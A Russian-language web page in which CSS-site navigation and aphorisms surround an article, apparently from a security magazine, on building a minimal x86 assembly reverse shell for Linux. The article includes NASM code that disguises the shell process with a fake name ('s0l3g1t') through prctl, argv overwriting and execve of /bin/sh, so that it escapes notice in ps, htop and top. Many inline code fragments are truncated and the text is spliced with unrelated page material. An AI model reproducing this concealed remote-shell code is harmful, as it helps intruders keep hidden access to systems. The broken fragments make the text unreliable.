Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
А суть вот в чем. Цель данной статьи учебная: равно как разработка ядерных руткитов — один из наиболее наглядных способов разобраться с устройством самого ядра Linux, написание обратного шелла с дополнительной функциональностью и одновременно с ограничениями по размеру исполняемого файла позволяет изучить некоторые неожиданные особенности положения вещей в Linux, в частности касающихся ELF-файлов, их загрузки и запуска, наследования ресурсов в дочерних процессах и работы компоновщика (он же линкер, линковщик, редактор связей). По ходу дела нас ждет множество интересных открытий и любопытных хаков. А бонусом нам будет рабочий инструмент, который заодно можно допиливать и применять в пентесте. Посему начнем!
Результаты трудов доступны на гитхабе.
Ни автор, ни редакция не несут ответственности за любые последствия использования приведенных в этой публикации сведений. Вся информация предоставлена исключительно ради информирования читателя.
Итак, наш реверс‑шелл помимо того, что подключаться к заданному хосту на заданный порт, также должен:
Сперва определимся с языком. Поскольку мы стремимся к минимально возможному размеру бинаря, в голову приходит лишь два варианта: С и ассемблер. Однако, как ты, вероятно, знаешь, хоть С и позволяет собирать крохотные по современным меркам Hello World’ы (примерно 17 и ~800 Кбайт при динамической и статической линковке соответственно против 2 Мбайт на Go), при компиляции С‑кода генерируется также код, отвечающий:
main()
;__libc_start_main()
в main()
.Массивы функций‑конструкторов и функций‑деструкторов запускаются перед и после main(
соответственно. Их код находится в отдельных секциях в противовес «обычному», попадающему в .
. Такие функции используются, например, для различных инициализаций в разделяемых библиотеках или для установки параметров буферизации в некоторых приложениях, взаимодействующих по сети (в частности, это иногда встречается в CTF-тасках). Чтобы функция попала в одну из этих секций, следует указывать __attribute__ ((
или __attribute__ ((
перед определением функции.
В некоторых случаях секции, хранящие эти функции, могут иметь имена .
/.
/.
и .
/.
/.
. Все они играют в целом одну роль, и различия нас в рамках данной статьи не интересуют. Подробнее о глобальных конструкторах и деструкторах можно почитать на wiki.osdev.org.
Также на выходе исполняемый файл может содержать секции с отладочной и прочей информацией (например, имена символов, версия компилятора), которая не используется непосредственно для его запуска и работы, но занимаемое файлом пространство увеличивает, и иногда значительно. О таких секциях мы поговорим немного позже.
Данная обвязка неразрывно связана с С‑бинарями как минимум в Linux. Для нас же в рамках нашей задачи она — балласт, от которого необходимо нещадно избавляться. Так что реверс‑шелл наш будет написан на великом и ужасном языке ассемблера (естественно, под x86). План таков: сперва напишем рабочий код, а уже затем будет заниматься кардинальным уменьшением его размера.
Мы будем использовать NASM. За основу возьмем простейший асмовый реверс‑шелл. Размышления на тему, должен ли наш код быть 32- или 64-битным, привели меня к выводу, что первый вариант предпочтительнее: инструкции в этом режиме меньше, а необходимой функциональности мы не теряем, ведь наша главная задача по сути состоит лишь в подключении к серверу и запуске оболочки, а сама она будет работать уже в 64-битном режиме.
Код будет делать следующее:
ps
, htop
;top
;/bin/sh
, stdin
, stdout
и stderr
которого связаны с сокетом, общающимся с сервером. Имя процесса также подменяется.Что ж, за дело!
В Linux можно встретить две «сущности», хранящие связанное с процессом имя. Назовем их «полное» и «краткое имя». Оба доступны через /
: полное в /
, краткое в /
(comm от command).
Краткое имя, согласно описанию, содержит имя исполняемого файла без пути до него. Это имя хранится в ядерной структуре task_struct
, описывающей процесс (задачу, если более корректно в терминах ядра), и имеет ограничение длины в 16 символов, включая нуль‑байт.
Полное имя содержит аргументы запуска программы, они же *argv[
: в нулевом элементе массива — имя исполняемого файла так, как оно было указано при запуске; в остальных — аргументы, если они были переданы.
Смена краткого имени сложностей не вызывает. Воспользуемся для этого системным вызовом prctl(
. С его помощью процесс или поток может осуществлять различные операции над самим собой: над своим именем, привилегиями (capabilities), областями памяти, режимом seccomp и много чем еще. Номер нужной операции передается первым аргументом, затем идут остальные параметры, число которых может варьироваться. Нас интересует операция PR_SET_NAME
, где вторым аргументом передается указатель на новое имя. При этом, если имя с нуль‑байтом длиннее 16 символов, оно будет обрезано.
Таким образом, для смены краткого имени нужно вызвать prctl(
, где NEW_ARGV
содержит адрес нового имени. Для этого используем следующий код:
mov eax, 0xac ; NR_PRCTL
mov ebx, 15 ; PR_SET_NAME
mov ecx, NEW_ARGV
int 0x80; syscall interrupt
...
NEW_ARGV:
db "s0l3g1t", 0
Много полезной информации о системных вызовах можно найти в man
. Там же для зоопарка поддерживаемых в Linux платформ и ABI есть две таблицы: с инструкциями для совершения системного вызова и с регистрами, используемыми при передаче аргументов и возврате значений. Имей в виду, что соглашения о вызовах, по крайней мере на x86, отличаются от таковых в юзермодных приложениях.
Попробуем теперь переписать argv[
. Следующий кусок кода выполняет действия, аналогичные сишной strncpy(
, при этом адрес argv[
предварительно был положен на стек:
mov edi, [esp]; edi = &argv[0]
mov esi, NEW_ARGV
mov ecx, _start - NEW_ARGV ; ecx = strlen(NEW_ARGV) + NULL-byte
_name_loop:
movsb; edi[i] = esi[i] ; i+=1
loop _name_loop
...
NEW_ARGV:
db "s0l3g1t", 0
_start:
...
Этот адрес помещается в регистр edi
(destination index register). В регистр esi
(source index register) отправляется адрес устанавливаемого нами имени "s0l3g1t"
, а в ecx
— его длина, включая нулевой байт. Однако оказывается, что если изначальный argv[
("./
) был длиннее нового, то, несмотря на наличие завершающего нуль‑байта, вывод ps
будет таков.
Как‑то не особо здорово. Попробуем его сначала заполнить нулями и лишь затем перезаписывать.
Уже лучше — в выводе ps
ничего подозрительного! Хотя все еще есть к чему стремиться. А что скажет нам мануал? Совсем немного поискав, натыкаемся на такое место в man
(подраздел о /
):
Furthermore, a process may change the memory location that this file refers via prctl(2) operations such as PR_SET_MM_ARG_START.
А в man
находим, помимо параметра PR_SET_MM_ARG_START
, также PR_SET_MM_ARG_END
(с небольшой пометкой, что эти опции доступны начиная с версии Linux 3.5). Кажется, второй параметр — как раз то, что надо! Да вот незадача: для выполнения операций prctl(
, затрагивающих память процесса, нужна привилегия CAP_SYS_RESOURCE
(иначе ведь было бы слишком уж просто!). А ее установка требует прав суперпользователя.
По этой же причине замена адреса самого массива строк argv[
на стеке «в лоб» не приведет к смене содержимого /
: Linux хранит адреса начала и конца памяти, где находятся аргументы процесса, причем содержимое именно этой памяти и выводится. То же верно и для переменных окружения. И потому xxd
выводит нули.
В общем, будем исходить из предположения, что реверс‑шелл запущен от имени простого пользователя и возможности установить CAP_SYS_RESOURCE
никоим образом нет. Поэтому просто занулим весь изначальный argv[
и запишем поверх него свой. Часто ли кому‑либо приходит в голову смотреть имя процесса через /
в xxd
?
Осталось разобраться с подменой имени /
, ведь после вызова execve(
для запуска шелла его *argv[
будет предательски являть взору админа /
в выводе ps
и htop
, а также в /
. К счастью, это решается проще простого: нужно всего лишь передать собственный argv[
вторым аргументом этому сисколу. Притом важно иметь в виду, что передается указатель на массив аргументов (строк), который должен завершаться нулевым указателем. Поэтому перед тем, как положить на стек адрес NEW_ARGV
, туда кладется 0:
xor eax, eax
push dword 0x0068732f ; push "/sh"
push dword 0x6e69622f ; push /bin (="/bin/sh")
mov ebx, esp; ebx = ptr to "/bin/sh" into ebx
push edx; edx = 0x00000000
mov edx, esp; **envp = edx = ptr to NULL address
push ebx; pointer to /bin/sh
push 0
push NEW_ARGV
mov ecx, esp; ecx points to shell's argv[0] ( &NEW_ARGV )
mov al, 0xb
int 0x80; execve("/bin/sh", &{ NEW_ARGV, 0 }, 0)
Но сменить при этом и краткое имя через prctl(
так просто мы уже не можем, поскольку работаем из оболочки, где вызов сисколов напрямую недоступен. Однако есть иные интересные способы это сделать.
|
|